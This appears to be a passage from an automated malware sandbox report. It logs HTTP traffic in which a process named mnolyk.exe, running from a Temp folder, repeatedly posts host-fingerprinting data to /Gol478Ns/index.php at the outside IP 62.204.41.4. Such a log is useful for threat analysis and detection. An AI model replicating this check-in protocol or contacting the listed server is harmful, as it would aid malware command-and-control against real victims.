Feb 7, 2023 23:08:13.463514090 CET	384	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.7	49721	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:08.117511988 CET	131	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:08.181422949 CET	131	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
270	192.168.2.7	49965	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:13.650115967 CET	385	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:13.712537050 CET	385	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
271	192.168.2.7	49966	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:13.888623953 CET	386	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:13.951494932 CET	386	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
272	192.168.2.7	49967	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:14.132869005 CET	387	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:14.195507050 CET	387	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
273	192.168.2.7	49968	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:14.393779039 CET	388	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:14.456599951 CET	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
274	192.168.2.7	49969	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:14.885714054 CET	389	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:14.949523926 CET	389	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
275	192.168.2.7	49970	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:15.189928055 CET	390	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:15.255315065 CET	390	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
276	192.168.2.7	49971	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:15.502675056 CET	391	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:15.565202951 CET	391	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
277	192.168.2.7	49972	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:16.388087034 CET	392	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:16.450793028 CET	392	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
278	192.168.2.7	49973	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:16.792891026 CET	393	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:16.857755899 CET	393	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
279	192.168.2.7	49974	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:17.631578922 CET	394	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:17.696517944 CET	394	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.7	49722	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:08.360518932 CET	132	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:08.425359964 CET	132	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
280	192.168.2.7	49975	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:18.409780025 CET	395	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:18.474836111 CET	395	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
281	192.168.2.7	49976	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:18.678575993 CET	396	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:18.742882013 CET	396	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
282	192.168.2.7	49977	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:18.914834976 CET	397	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:18.980144978 CET	397	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
283	192.168.2.7	49978	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:19.152479887 CET	398	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:19.216840982 CET	398	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
284	192.168.2.7	49979	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:19.443583965 CET	399	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:19.507155895 CET	399	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
285	192.168.2.7	49980	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:19.678958893 CET	400	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:19.741760015 CET	400	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
286	192.168.2.7	49981	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:19.921142101 CET	401	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:19.985157013 CET	401	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
287	192.168.2.7	49982	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:20.169197083 CET	402	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:20.232326984 CET	402	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
288	192.168.2.7	49983	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:20.411479950 CET	403	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:20.473516941 CET	403	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
289	192.168.2.7	49984	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
